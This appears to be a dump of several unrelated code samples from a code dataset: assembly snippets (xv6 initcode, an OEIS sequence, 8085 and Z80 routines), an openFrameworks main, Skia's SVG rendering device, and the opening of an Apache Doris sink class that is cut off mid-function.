text
stringlengths
1
1.05M
initcode.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <start>: #include "traps.h" # exec(init, argv) .global start start: mov $init, %rdi 0: 48 c7 c7 00 00 00 00 mov $0x0,%rdi mov $argv, %rsi 7: 48 c7 c6 00 00 00 00 mov $0x0,%rsi mov $SYS_exec, %rax e: 48 c7 c0 07 00 00 00 mov $0x7,%rax syscall 15: 0f 05 syscall 0000000000000017 <exit>: # for(;;) exit(); exit: mov $SYS_exit, %rax 17: 48 c7 c0 02 00 00 00 mov $0x2,%rax syscall 1e: 0f 05 syscall jmp exit 20: eb f5 jmp 17 <exit> 0000000000000022 <init>: 22: 2f (bad) 23: 69 6e 69 74 00 00 0f imul $0xf000074,0x69(%rsi),%ebp 2a: 1f (bad) ... 000000000000002c <argv>: ...
; A017561: (12n+3)^5. ; 243,759375,14348907,90224199,345025251,992436543,2373046875,4984209207,9509900499,16850581551,28153056843,44840334375,68641485507,101621504799,146211169851,205236901143,281950621875 mul $0,12 add $0,3 pow $0,5
MVI A,00H MVI B, 02H MVI C, 03H L : ADD B DCR C JNZ L STA 5000 HLT
SECTION code_fp_math48 PUBLIC mm48_sqr EXTERN am48_derror_edom_zc EXTERN mm48_equal, mm48_fpdiv, mm48_fpadd, mm48_fpsub, mm48__add10 mm48_sqr: ; square root ; AC' = SQR(AC') ; ; enter : AC'(BCDEHL') = float x ; ; exit : success ; ; AC' = SQR(x) ; carry reset ; ; fail if domain error ; ; AC' = 0 ; carry set ; ; uses : af, af', bc', de', hl' ;Kvadratroden beregnes med Newton-Raphson ;iterationsmetoden. Et gaet udregnes ud fra ;det foregaaende gaet efter formelen: ;I(n+1)=(X/I(n)+I(n))/2. ;Som foerste gaet halveres X's exponent. ;Der fortsaettes indtil ABS(I(n+1)-I(n)) er ;mindre end den halve exponent af X minus 20. exx ; AC = x ld a,b inc l dec l exx ret z ; if x == 0 or a jp m, am48_derror_edom_zc ; if x < 0 push bc ; save AC push de push hl exx call mm48_equal ld a,l ;Foerste iteration: add a,$80 ;halver exponenten sra a add a,$80 ld l,a ;Sammenligningsvaerdi sub 20 ;er den halve exponent push af ;Gem s.vaerdi exx mm48__sqr1: ; AC = x ; AC'= y push bc ;Gem tallet push de ;(push x) push hl exx ; AC = y ; AC'= x call mm48_fpdiv ;Divider med og adder call mm48_fpadd ;forrige gaet exx ; AC = x ; AC'= y dec l ;Halver call mm48_fpsub exx ld a,l ; AC'= x pop hl ;Hent tallet pop de ;(pop x) pop bc ex (sp),hl ;Hent s.vaerdi ind i H cp h ex (sp),hl ;Fortsaet indtil forsk. jr nc, mm48__sqr1 ;er lille nok ; AC'= result pop af or a jp mm48__add10 + 1
#include "ofMain.h" #include "ofApp.h" #include "ofAppGlutWindow.h" int main() { ofAppGlutWindow window; ofSetupOpenGL(&window, 1920, 1080, OF_WINDOW); ofRunApp(new ofApp()); }
/* * Copyright 2015 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "SkSVGDevice.h" #include "SkAnnotationKeys.h" #include "SkBase64.h" #include "SkBitmap.h" #include "SkBlendMode.h" #include "SkChecksum.h" #include "SkClipOpPriv.h" #include "SkClipStack.h" #include "SkColorFilter.h" #include "SkData.h" #include "SkDraw.h" #include "SkImage.h" #include "SkImageEncoder.h" #include "SkJpegCodec.h" #include "SkPaint.h" #include "SkPaintPriv.h" #include "SkParsePath.h" #include "SkPngCodec.h" #include "SkShader.h" #include "SkStream.h" #include "SkTHash.h" #include "SkTo.h" #include "SkTypeface.h" #include "SkUtils.h" #include "SkXMLWriter.h" namespace { static SkString svg_color(SkColor color) { return SkStringPrintf("rgb(%u,%u,%u)", SkColorGetR(color), SkColorGetG(color), SkColorGetB(color)); } static SkScalar svg_opacity(SkColor color) { return SkIntToScalar(SkColorGetA(color)) / SK_AlphaOPAQUE; } // Keep in sync with SkPaint::Cap static const char* cap_map[] = { nullptr, // kButt_Cap (default) "round", // kRound_Cap "square" // kSquare_Cap }; static_assert(SK_ARRAY_COUNT(cap_map) == SkPaint::kCapCount, "missing_cap_map_entry"); static const char* svg_cap(SkPaint::Cap cap) { SkASSERT(cap < SK_ARRAY_COUNT(cap_map)); return cap_map[cap]; } // Keep in sync with SkPaint::Join static const char* join_map[] = { nullptr, // kMiter_Join (default) "round", // kRound_Join "bevel" // kBevel_Join }; static_assert(SK_ARRAY_COUNT(join_map) == SkPaint::kJoinCount, "missing_join_map_entry"); static const char* svg_join(SkPaint::Join join) { SkASSERT(join < SK_ARRAY_COUNT(join_map)); return join_map[join]; } // Keep in sync with SkPaint::Align static const char* text_align_map[] = { nullptr, // kLeft_Align (default) "middle", // kCenter_Align "end" // kRight_Align }; static_assert(SK_ARRAY_COUNT(text_align_map) == SkPaint::kAlignCount, "missing_text_align_map_entry"); static const char* svg_text_align(SkPaint::Align align) { SkASSERT(align < SK_ARRAY_COUNT(text_align_map)); return text_align_map[align]; } static SkString svg_transform(const SkMatrix& t) { SkASSERT(!t.isIdentity()); SkString tstr; switch (t.getType()) { case SkMatrix::kPerspective_Mask: // TODO: handle perspective matrices? break; case SkMatrix::kTranslate_Mask: tstr.printf("translate(%g %g)", t.getTranslateX(), t.getTranslateY()); break; case SkMatrix::kScale_Mask: tstr.printf("scale(%g %g)", t.getScaleX(), t.getScaleY()); break; default: // http://www.w3.org/TR/SVG/coords.html#TransformMatrixDefined // | a c e | // | b d f | // | 0 0 1 | tstr.printf("matrix(%g %g %g %g %g %g)", t.getScaleX(), t.getSkewY(), t.getSkewX(), t.getScaleY(), t.getTranslateX(), t.getTranslateY()); break; } return tstr; } struct Resources { Resources(const SkPaint& paint) : fPaintServer(svg_color(paint.getColor())) {} SkString fPaintServer; SkString fClip; SkString fColorFilter; }; // Determine if the paint requires us to reset the viewport. // Currently, we do this whenever the paint shader calls // for a repeating image. bool RequiresViewportReset(const SkPaint& paint) { SkShader* shader = paint.getShader(); if (!shader) return false; SkShader::TileMode xy[2]; SkImage* image = shader->isAImage(nullptr, xy); if (!image) return false; for (int i = 0; i < 2; i++) { if (xy[i] == SkShader::kRepeat_TileMode) return true; } return false; } } // namespace // For now all this does is serve unique serial IDs, but it will eventually evolve to track // and deduplicate resources. class SkSVGDevice::ResourceBucket : ::SkNoncopyable { public: ResourceBucket() : fGradientCount(0) , fClipCount(0) , fPathCount(0) , fImageCount(0) , fPatternCount(0) , fColorFilterCount(0) {} SkString addLinearGradient() { return SkStringPrintf("gradient_%d", fGradientCount++); } SkString addClip() { return SkStringPrintf("clip_%d", fClipCount++); } SkString addPath() { return SkStringPrintf("path_%d", fPathCount++); } SkString addImage() { return SkStringPrintf("img_%d", fImageCount++); } SkString addColorFilter() { return SkStringPrintf("cfilter_%d", fColorFilterCount++); } SkString addPattern() { return SkStringPrintf("pattern_%d", fPatternCount++); } private: uint32_t fGradientCount; uint32_t fClipCount; uint32_t fPathCount; uint32_t fImageCount; uint32_t fPatternCount; uint32_t fColorFilterCount; }; struct SkSVGDevice::MxCp { const SkMatrix* fMatrix; const SkClipStack* fClipStack; MxCp(const SkMatrix* mx, const SkClipStack* cs) : fMatrix(mx), fClipStack(cs) {} MxCp(SkSVGDevice* device) : fMatrix(&device->ctm()), fClipStack(&device->cs()) {} }; class SkSVGDevice::AutoElement : ::SkNoncopyable { public: AutoElement(const char name[], SkXMLWriter* writer) : fWriter(writer) , fResourceBucket(nullptr) { fWriter->startElement(name); } AutoElement(const char name[], SkXMLWriter* writer, ResourceBucket* bucket, const MxCp& mc, const SkPaint& paint) : fWriter(writer) , fResourceBucket(bucket) { Resources res = this->addResources(mc, paint); if (!res.fClip.isEmpty()) { // The clip is in device space. Apply it via a <g> wrapper to avoid local transform // interference. fClipGroup.reset(new AutoElement("g", fWriter)); fClipGroup->addAttribute("clip-path",res.fClip); } fWriter->startElement(name); this->addPaint(paint, res); if (!mc.fMatrix->isIdentity()) { this->addAttribute("transform", svg_transform(*mc.fMatrix)); } } ~AutoElement() { fWriter->endElement(); } void addAttribute(const char name[], const char val[]) { fWriter->addAttribute(name, val); } void addAttribute(const char name[], const SkString& val) { fWriter->addAttribute(name, val.c_str()); } void addAttribute(const char name[], int32_t val) { fWriter->addS32Attribute(name, val); } void addAttribute(const char name[], SkScalar val) { fWriter->addScalarAttribute(name, val); } void addText(const SkString& text) { fWriter->addText(text.c_str(), text.size()); } void addRectAttributes(const SkRect&); void addPathAttributes(const SkPath&); void addTextAttributes(const SkPaint&); private: Resources addResources(const MxCp&, const SkPaint& paint); void addClipResources(const MxCp&, Resources* resources); void addShaderResources(const SkPaint& paint, Resources* resources); void addGradientShaderResources(const SkShader* shader, const SkPaint& paint, Resources* resources); void addColorFilterResources(const SkColorFilter& cf, Resources* resources); void addImageShaderResources(const SkShader* shader, const SkPaint& paint, Resources* resources); void addPatternDef(const SkBitmap& bm); void addPaint(const SkPaint& paint, const Resources& resources); SkString addLinearGradientDef(const SkShader::GradientInfo& info, const SkShader* shader); SkXMLWriter* fWriter; ResourceBucket* fResourceBucket; std::unique_ptr<AutoElement> fClipGroup; }; void SkSVGDevice::AutoElement::addPaint(const SkPaint& paint, const Resources& resources) { SkPaint::Style style = paint.getStyle(); if (style == SkPaint::kFill_Style || style == SkPaint::kStrokeAndFill_Style) { this->addAttribute("fill", resources.fPaintServer); if (SK_AlphaOPAQUE != SkColorGetA(paint.getColor())) { this->addAttribute("fill-opacity", svg_opacity(paint.getColor())); } } else { SkASSERT(style == SkPaint::kStroke_Style); this->addAttribute("fill", "none"); } if (!resources.fColorFilter.isEmpty()) { this->addAttribute("filter", resources.fColorFilter.c_str()); } if (style == SkPaint::kStroke_Style || style == SkPaint::kStrokeAndFill_Style) { this->addAttribute("stroke", resources.fPaintServer); SkScalar strokeWidth = paint.getStrokeWidth(); if (strokeWidth == 0) { // Hairline stroke strokeWidth = 1; this->addAttribute("vector-effect", "non-scaling-stroke"); } this->addAttribute("stroke-width", strokeWidth); if (const char* cap = svg_cap(paint.getStrokeCap())) { this->addAttribute("stroke-linecap", cap); } if (const char* join = svg_join(paint.getStrokeJoin())) { this->addAttribute("stroke-linejoin", join); } if (paint.getStrokeJoin() == SkPaint::kMiter_Join) { this->addAttribute("stroke-miterlimit", paint.getStrokeMiter()); } if (SK_AlphaOPAQUE != SkColorGetA(paint.getColor())) { this->addAttribute("stroke-opacity", svg_opacity(paint.getColor())); } } else { SkASSERT(style == SkPaint::kFill_Style); this->addAttribute("stroke", "none"); } } Resources SkSVGDevice::AutoElement::addResources(const MxCp& mc, const SkPaint& paint) { Resources resources(paint); // FIXME: this is a weak heuristic and we end up with LOTS of redundant clips. bool hasClip = !mc.fClipStack->isWideOpen(); bool hasShader = SkToBool(paint.getShader()); if (hasClip || hasShader) { AutoElement defs("defs", fWriter); if (hasClip) { this->addClipResources(mc, &resources); } if (hasShader) { this->addShaderResources(paint, &resources); } } if (const SkColorFilter* cf = paint.getColorFilter()) { // TODO: Implement skia color filters for blend modes other than SrcIn SkBlendMode mode; if (cf->asColorMode(nullptr, &mode) && mode == SkBlendMode::kSrcIn) { this->addColorFilterResources(*cf, &resources); } } return resources; } void SkSVGDevice::AutoElement::addGradientShaderResources(const SkShader* shader, const SkPaint& paint, Resources* resources) { SkShader::GradientInfo grInfo; grInfo.fColorCount = 0; if (SkShader::kLinear_GradientType != shader->asAGradient(&grInfo)) { // TODO: non-linear gradient support return; } SkAutoSTArray<16, SkColor> grColors(grInfo.fColorCount); SkAutoSTArray<16, SkScalar> grOffsets(grInfo.fColorCount); grInfo.fColors = grColors.get(); grInfo.fColorOffsets = grOffsets.get(); // One more call to get the actual colors/offsets. shader->asAGradient(&grInfo); SkASSERT(grInfo.fColorCount <= grColors.count()); SkASSERT(grInfo.fColorCount <= grOffsets.count()); resources->fPaintServer.printf("url(#%s)", addLinearGradientDef(grInfo, shader).c_str()); } void SkSVGDevice::AutoElement::addColorFilterResources(const SkColorFilter& cf, Resources* resources) { SkString colorfilterID = fResourceBucket->addColorFilter(); { AutoElement filterElement("filter", fWriter); filterElement.addAttribute("id", colorfilterID); filterElement.addAttribute("x", "0%"); filterElement.addAttribute("y", "0%"); filterElement.addAttribute("width", "100%"); filterElement.addAttribute("height", "100%"); SkColor filterColor; SkBlendMode mode; bool asColorMode = cf.asColorMode(&filterColor, &mode); SkAssertResult(asColorMode); SkASSERT(mode == SkBlendMode::kSrcIn); { // first flood with filter color AutoElement floodElement("feFlood", fWriter); floodElement.addAttribute("flood-color", svg_color(filterColor)); floodElement.addAttribute("flood-opacity", svg_opacity(filterColor)); floodElement.addAttribute("result", "flood"); } { // apply the transform to filter color AutoElement compositeElement("feComposite", fWriter); compositeElement.addAttribute("in", "flood"); compositeElement.addAttribute("operator", "in"); } } resources->fColorFilter.printf("url(#%s)", colorfilterID.c_str()); } // Returns data uri from bytes. // it will use any cached data if available, otherwise will // encode as png. sk_sp<SkData> AsDataUri(SkImage* image) { sk_sp<SkData> imageData = image->encodeToData(); if (!imageData) { return nullptr; } const char* src = (char*)imageData->data(); const char* selectedPrefix = nullptr; size_t selectedPrefixLength = 0; const static char pngDataPrefix[] = "data:image/png;base64,"; const static char jpgDataPrefix[] = "data:image/jpeg;base64,"; if (SkJpegCodec::IsJpeg(src, imageData->size())) { selectedPrefix = jpgDataPrefix; selectedPrefixLength = sizeof(jpgDataPrefix); } else { if (!SkPngCodec::IsPng(src, imageData->size())) { imageData = image->encodeToData(SkEncodedImageFormat::kPNG, 100); } selectedPrefix = pngDataPrefix; selectedPrefixLength = sizeof(pngDataPrefix); } size_t b64Size = SkBase64::Encode(imageData->data(), imageData->size(), nullptr); sk_sp<SkData> dataUri = SkData::MakeUninitialized(selectedPrefixLength + b64Size); char* dest = (char*)dataUri->writable_data(); memcpy(dest, selectedPrefix, selectedPrefixLength); SkBase64::Encode(imageData->data(), imageData->size(), dest + selectedPrefixLength - 1); dest[dataUri->size() - 1] = 0; return dataUri; } void SkSVGDevice::AutoElement::addImageShaderResources(const SkShader* shader, const SkPaint& paint, Resources* resources) { SkMatrix outMatrix; SkShader::TileMode xy[2]; SkImage* image = shader->isAImage(&outMatrix, xy); SkASSERT(image); SkString patternDims[2]; // width, height sk_sp<SkData> dataUri = AsDataUri(image); if (!dataUri) { return; } SkIRect imageSize = image->bounds(); for (int i = 0; i < 2; i++) { int imageDimension = i == 0 ? imageSize.width() : imageSize.height(); switch (xy[i]) { case SkShader::kRepeat_TileMode: patternDims[i].appendScalar(imageDimension); break; default: // TODO: other tile modes? patternDims[i] = "100%"; } } SkString patternID = fResourceBucket->addPattern(); { AutoElement pattern("pattern", fWriter); pattern.addAttribute("id", patternID); pattern.addAttribute("patternUnits", "userSpaceOnUse"); pattern.addAttribute("patternContentUnits", "userSpaceOnUse"); pattern.addAttribute("width", patternDims[0]); pattern.addAttribute("height", patternDims[1]); pattern.addAttribute("x", 0); pattern.addAttribute("y", 0); { SkString imageID = fResourceBucket->addImage(); AutoElement imageTag("image", fWriter); imageTag.addAttribute("id", imageID); imageTag.addAttribute("x", 0); imageTag.addAttribute("y", 0); imageTag.addAttribute("width", image->width()); imageTag.addAttribute("height", image->height()); imageTag.addAttribute("xlink:href", static_cast<const char*>(dataUri->data())); } } resources->fPaintServer.printf("url(#%s)", patternID.c_str()); } void SkSVGDevice::AutoElement::addShaderResources(const SkPaint& paint, Resources* resources) { const SkShader* shader = paint.getShader(); SkASSERT(shader); if (shader->asAGradient(nullptr) != SkShader::kNone_GradientType) { this->addGradientShaderResources(shader, paint, resources); } else if (shader->isAImage()) { this->addImageShaderResources(shader, paint, resources); } // TODO: other shader types? } void SkSVGDevice::AutoElement::addClipResources(const MxCp& mc, Resources* resources) { SkASSERT(!mc.fClipStack->isWideOpen()); SkPath clipPath; (void) mc.fClipStack->asPath(&clipPath); SkString clipID = fResourceBucket->addClip(); const char* clipRule = clipPath.getFillType() == SkPath::kEvenOdd_FillType ? "evenodd" : "nonzero"; { // clipPath is in device space, but since we're only pushing transform attributes // to the leaf nodes, so are all our elements => SVG userSpaceOnUse == device space. AutoElement clipPathElement("clipPath", fWriter); clipPathElement.addAttribute("id", clipID); SkRect clipRect = SkRect::MakeEmpty(); if (clipPath.isEmpty() || clipPath.isRect(&clipRect)) { AutoElement rectElement("rect", fWriter); rectElement.addRectAttributes(clipRect); rectElement.addAttribute("clip-rule", clipRule); } else { AutoElement pathElement("path", fWriter); pathElement.addPathAttributes(clipPath); pathElement.addAttribute("clip-rule", clipRule); } } resources->fClip.printf("url(#%s)", clipID.c_str()); } SkString SkSVGDevice::AutoElement::addLinearGradientDef(const SkShader::GradientInfo& info, const SkShader* shader) { SkASSERT(fResourceBucket); SkString id = fResourceBucket->addLinearGradient(); { AutoElement gradient("linearGradient", fWriter); gradient.addAttribute("id", id); gradient.addAttribute("gradientUnits", "userSpaceOnUse"); gradient.addAttribute("x1", info.fPoint[0].x()); gradient.addAttribute("y1", info.fPoint[0].y()); gradient.addAttribute("x2", info.fPoint[1].x()); gradient.addAttribute("y2", info.fPoint[1].y()); if (!shader->getLocalMatrix().isIdentity()) { this->addAttribute("gradientTransform", svg_transform(shader->getLocalMatrix())); } SkASSERT(info.fColorCount >= 2); for (int i = 0; i < info.fColorCount; ++i) { SkColor color = info.fColors[i]; SkString colorStr(svg_color(color)); { AutoElement stop("stop", fWriter); stop.addAttribute("offset", info.fColorOffsets[i]); stop.addAttribute("stop-color", colorStr.c_str()); if (SK_AlphaOPAQUE != SkColorGetA(color)) { stop.addAttribute("stop-opacity", svg_opacity(color)); } } } } return id; } void SkSVGDevice::AutoElement::addRectAttributes(const SkRect& rect) { // x, y default to 0 if (rect.x() != 0) { this->addAttribute("x", rect.x()); } if (rect.y() != 0) { this->addAttribute("y", rect.y()); } this->addAttribute("width", rect.width()); this->addAttribute("height", rect.height()); } void SkSVGDevice::AutoElement::addPathAttributes(const SkPath& path) { SkString pathData; SkParsePath::ToSVGString(path, &pathData); this->addAttribute("d", pathData); } void SkSVGDevice::AutoElement::addTextAttributes(const SkPaint& paint) { this->addAttribute("font-size", paint.getTextSize()); if (const char* textAlign = svg_text_align(paint.getTextAlign())) { this->addAttribute("text-anchor", textAlign); } SkString familyName; SkTHashSet<SkString> familySet; sk_sp<SkTypeface> tface = SkPaintPriv::RefTypefaceOrDefault(paint); SkASSERT(tface); SkFontStyle style = tface->fontStyle(); if (style.slant() == SkFontStyle::kItalic_Slant) { this->addAttribute("font-style", "italic"); } else if (style.slant() == SkFontStyle::kOblique_Slant) { this->addAttribute("font-style", "oblique"); } int weightIndex = (SkTPin(style.weight(), 100, 900) - 50) / 100; if (weightIndex != 3) { static constexpr const char* weights[] = { "100", "200", "300", "normal", "400", "500", "600", "bold", "800", "900" }; this->addAttribute("font-weight", weights[weightIndex]); } int stretchIndex = style.width() - 1; if (stretchIndex != 4) { static constexpr const char* stretches[] = { "ultra-condensed", "extra-condensed", "condensed", "semi-condensed", "normal", "semi-expanded", "expanded", "extra-expanded", "ultra-expanded" }; this->addAttribute("font-stretch", stretches[stretchIndex]); } sk_sp<SkTypeface::LocalizedStrings> familyNameIter(tface->createFamilyNameIterator()); SkTypeface::LocalizedString familyString; if (familyNameIter) { while (familyNameIter->next(&familyString)) { if (familySet.contains(familyString.fString)) { continue; } familySet.add(familyString.fString); familyName.appendf((familyName.isEmpty() ? "%s" : ", %s"), familyString.fString.c_str()); } } if (!familyName.isEmpty()) { this->addAttribute("font-family", familyName); } } SkBaseDevice* SkSVGDevice::Create(const SkISize& size, SkXMLWriter* writer) { if (!writer) { return nullptr; } return new SkSVGDevice(size, writer); } SkSVGDevice::SkSVGDevice(const SkISize& size, SkXMLWriter* writer) : INHERITED(SkImageInfo::MakeUnknown(size.fWidth, size.fHeight), SkSurfaceProps(0, kUnknown_SkPixelGeometry)) , fWriter(writer) , fResourceBucket(new ResourceBucket) { SkASSERT(writer); fWriter->writeHeader(); // The root <svg> tag gets closed by the destructor. fRootElement.reset(new AutoElement("svg", fWriter)); fRootElement->addAttribute("xmlns", "http://www.w3.org/2000/svg"); fRootElement->addAttribute("xmlns:xlink", "http://www.w3.org/1999/xlink"); fRootElement->addAttribute("width", size.width()); fRootElement->addAttribute("height", size.height()); } SkSVGDevice::~SkSVGDevice() { } void SkSVGDevice::drawPaint(const SkPaint& paint) { AutoElement rect("rect", fWriter, fResourceBucket.get(), MxCp(this), paint); rect.addRectAttributes(SkRect::MakeWH(SkIntToScalar(this->width()), SkIntToScalar(this->height()))); } void SkSVGDevice::drawAnnotation(const SkRect& rect, const char key[], SkData* value) { if (!value) { return; } if (!strcmp(SkAnnotationKeys::URL_Key(), key) || !strcmp(SkAnnotationKeys::Link_Named_Dest_Key(), key)) { this->cs().save(); this->cs().clipRect(rect, this->ctm(), kIntersect_SkClipOp, true); SkRect transformedRect = this->cs().bounds(this->getGlobalBounds()); this->cs().restore(); if (transformedRect.isEmpty()) { return; } SkString url(static_cast<const char*>(value->data()), value->size() - 1); AutoElement a("a", fWriter); a.addAttribute("xlink:href", url.c_str()); { AutoElement r("rect", fWriter); r.addAttribute("fill-opacity", "0.0"); r.addRectAttributes(transformedRect); } } } void SkSVGDevice::drawPoints(SkCanvas::PointMode mode, size_t count, const SkPoint pts[], const SkPaint& paint) { SkPath path; switch (mode) { // todo case SkCanvas::kPoints_PointMode: // TODO? break; case SkCanvas::kLines_PointMode: count -= 1; for (size_t i = 0; i < count; i += 2) { path.rewind(); path.moveTo(pts[i]); path.lineTo(pts[i+1]); AutoElement elem("path", fWriter, fResourceBucket.get(), MxCp(this), paint); elem.addPathAttributes(path); } break; case SkCanvas::kPolygon_PointMode: if (count > 1) { path.addPoly(pts, SkToInt(count), false); path.moveTo(pts[0]); AutoElement elem("path", fWriter, fResourceBucket.get(), MxCp(this), paint); elem.addPathAttributes(path); } break; } } void SkSVGDevice::drawRect(const SkRect& r, const SkPaint& paint) { std::unique_ptr<AutoElement> svg; if (RequiresViewportReset(paint)) { svg.reset(new AutoElement("svg", fWriter, fResourceBucket.get(), MxCp(this), paint)); svg->addRectAttributes(r); } AutoElement rect("rect", fWriter, fResourceBucket.get(), MxCp(this), paint); if (svg) { rect.addAttribute("x", 0); rect.addAttribute("y", 0); rect.addAttribute("width", "100%"); rect.addAttribute("height", "100%"); } else { rect.addRectAttributes(r); } } void SkSVGDevice::drawOval(const SkRect& oval, const SkPaint& paint) { AutoElement ellipse("ellipse", fWriter, fResourceBucket.get(), MxCp(this), paint); ellipse.addAttribute("cx", oval.centerX()); ellipse.addAttribute("cy", oval.centerY()); ellipse.addAttribute("rx", oval.width() / 2); ellipse.addAttribute("ry", oval.height() / 2); } void SkSVGDevice::drawRRect(const SkRRect& rr, const SkPaint& paint) { SkPath path; path.addRRect(rr); AutoElement elem("path", fWriter, fResourceBucket.get(), MxCp(this), paint); elem.addPathAttributes(path); } void SkSVGDevice::drawPath(const SkPath& path, const SkPaint& paint, bool pathIsMutable) { AutoElement elem("path", fWriter, fResourceBucket.get(), MxCp(this), paint); elem.addPathAttributes(path); // TODO: inverse fill types? if (path.getFillType() == SkPath::kEvenOdd_FillType) { elem.addAttribute("fill-rule", "evenodd"); } } static sk_sp<SkData> encode(const SkBitmap& src) { SkDynamicMemoryWStream buf; return SkEncodeImage(&buf, src, SkEncodedImageFormat::kPNG, 80) ? buf.detachAsData() : nullptr; } void SkSVGDevice::drawBitmapCommon(const MxCp& mc, const SkBitmap& bm, const SkPaint& paint) { sk_sp<SkData> pngData = encode(bm); if (!pngData) { return; } size_t b64Size = SkBase64::Encode(pngData->data(), pngData->size(), nullptr); SkAutoTMalloc<char> b64Data(b64Size); SkBase64::Encode(pngData->data(), pngData->size(), b64Data.get()); SkString svgImageData("data:image/png;base64,"); svgImageData.append(b64Data.get(), b64Size); SkString imageID = fResourceBucket->addImage(); { AutoElement defs("defs", fWriter); { AutoElement image("image", fWriter); image.addAttribute("id", imageID); image.addAttribute("width", bm.width()); image.addAttribute("height", bm.height()); image.addAttribute("xlink:href", svgImageData); } } { AutoElement imageUse("use", fWriter, fResourceBucket.get(), mc, paint); imageUse.addAttribute("xlink:href", SkStringPrintf("#%s", imageID.c_str())); } } void SkSVGDevice::drawBitmap(const SkBitmap& bitmap, SkScalar x, SkScalar y, const SkPaint& paint) { MxCp mc(this); SkMatrix adjustedMatrix = *mc.fMatrix; adjustedMatrix.preTranslate(x, y); mc.fMatrix = &adjustedMatrix; drawBitmapCommon(mc, bitmap, paint); } void SkSVGDevice::drawSprite(const SkBitmap& bitmap, int x, int y, const SkPaint& paint) { MxCp mc(this); SkMatrix adjustedMatrix = *mc.fMatrix; adjustedMatrix.preTranslate(SkIntToScalar(x), SkIntToScalar(y)); mc.fMatrix = &adjustedMatrix; drawBitmapCommon(mc, bitmap, paint); } void SkSVGDevice::drawBitmapRect(const SkBitmap& bm, const SkRect* srcOrNull, const SkRect& dst, const SkPaint& paint, SkCanvas::SrcRectConstraint) { SkClipStack* cs = &this->cs(); SkClipStack::AutoRestore ar(cs, false); if (srcOrNull && *srcOrNull != SkRect::Make(bm.bounds())) { cs->save(); cs->clipRect(dst, this->ctm(), kIntersect_SkClipOp, paint.isAntiAlias()); } SkMatrix adjustedMatrix; adjustedMatrix.setRectToRect(srcOrNull ? *srcOrNull : SkRect::Make(bm.bounds()), dst, SkMatrix::kFill_ScaleToFit); adjustedMatrix.postConcat(this->ctm()); drawBitmapCommon(MxCp(&adjustedMatrix, cs), bm, paint); } class SVGTextBuilder : SkNoncopyable { public: SVGTextBuilder(SkPoint origin, const SkGlyphRun& glyphRun) : fOrigin(origin) , fLastCharWasWhitespace(true) { // start off in whitespace mode to strip all leadingspace const SkPaint& paint = glyphRun.paint(); auto runSize = glyphRun.runSize(); SkAutoSTArray<64, SkUnichar> unichars(runSize); paint.glyphsToUnichars(glyphRun.shuntGlyphsIDs().data(), runSize, unichars.get()); auto positions = glyphRun.positions(); for (size_t i = 0; i < runSize; ++i) { this->appendUnichar(unichars[i], positions[i]); } } const SkString& text() const { return fText; } const SkString& posX() const { return fPosX; } const SkString& posY() const { return fPosY; } private: void appendUnichar(SkUnichar c, SkPoint position) { bool discardPos = false; bool isWhitespace = false; switch(c) { case ' ': case '\t': // consolidate whitespace to match SVG's xml:space=default munging // (http://www.w3.org/TR/SVG/text.html#WhiteSpace) if (fLastCharWasWhitespace) { discardPos = true; } else { fText.appendUnichar(c); } isWhitespace = true; break; case '\0': // SkPaint::glyphsToUnichars() returns \0 for inconvertible glyphs, but these // are not legal XML characters (http://www.w3.org/TR/REC-xml/#charsets) discardPos = true; isWhitespace = fLastCharWasWhitespace; // preserve whitespace consolidation break; case '&': fText.append("&amp;"); break; case '"': fText.append("&quot;"); break; case '\'': fText.append("&apos;"); break; case '<': fText.append("&lt;"); break; case '>': fText.append("&gt;"); break; default: fText.appendUnichar(c); break; } this->advancePos(discardPos, position); fLastCharWasWhitespace = isWhitespace; } void advancePos(bool discard, SkPoint position) { if (!discard) { SkPoint finalPosition = fOrigin + position; fPosX.appendf("%.8g, ", finalPosition.x()); fPosY.appendf("%.8g, ", finalPosition.y()); } } const SkPoint fOrigin; SkString fText, fPosX, fPosY; bool fLastCharWasWhitespace; }; void SkSVGDevice::drawGlyphRunList(const SkGlyphRunList& glyphRunList) { auto processGlyphRun = [this](SkPoint origin, const SkGlyphRun& glyphRun) { const SkPaint& paint = glyphRun.paint(); AutoElement elem("text", fWriter, fResourceBucket.get(), MxCp(this), paint); elem.addTextAttributes(paint); SVGTextBuilder builder(origin, glyphRun); elem.addAttribute("x", builder.posX()); elem.addAttribute("y", builder.posY()); elem.addText(builder.text()); }; for (auto& glyphRun : glyphRunList) { processGlyphRun(glyphRunList.origin(), glyphRun); } } void SkSVGDevice::drawVertices(const SkVertices*, const SkVertices::Bone[], int, SkBlendMode, const SkPaint&) { // todo } void SkSVGDevice::drawDevice(SkBaseDevice*, int x, int y, const SkPaint&) { // todo }
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. #include "runtime/memory_scratch_sink.h" #include <arrow/memory_pool.h> #include <arrow/record_batch.h> #include <sstream> #include "exprs/expr.h" #include "gen_cpp/Types_types.h" #include "runtime/exec_env.h" #include "runtime/primitive_type.h" #include "runtime/row_batch.h" #include "runtime/runtime_state.h" #include "runtime/tuple_row.h" #include "util/arrow/row_batch.h" namespace doris { MemoryScratchSink::MemoryScratchSink(const RowDescriptor& row_desc, const std::vector<TExpr>& t_output_expr, const TMemoryScratchSink& sink) : _row_desc(row_desc), _t_output_expr(t_output_expr) { _name = "MemoryScratchSink"; } MemoryScratchSink::~MemoryScratchSink() {} Status MemoryScratchSink::prepare_exprs(RuntimeState* state) { // From the thrift expressions create the real exprs. RETURN_IF_ERROR(Expr::create_expr_trees(state->obj_pool(), _t_output_expr, &_output_expr_ctxs)); // Prepare the exprs to run. RETURN_IF_ERROR(Expr::prepare(_output_expr_ctxs, state, _row_desc, _expr_mem_tracker)); // generate the arrow schema RETURN_IF_ERROR(convert_to_arrow_schema(_row_desc, &_arrow_schema)); return Status::OK(); } Status MemoryScratchSink::prepare(RuntimeState* state) { RETURN_IF_ERROR(DataSink::prepare(state)); // prepare output_expr RETURN_IF_ERROR(prepare_exprs(state)); // create queue TUniqueId fragment_instance_id = state->fragment_instance_id(); 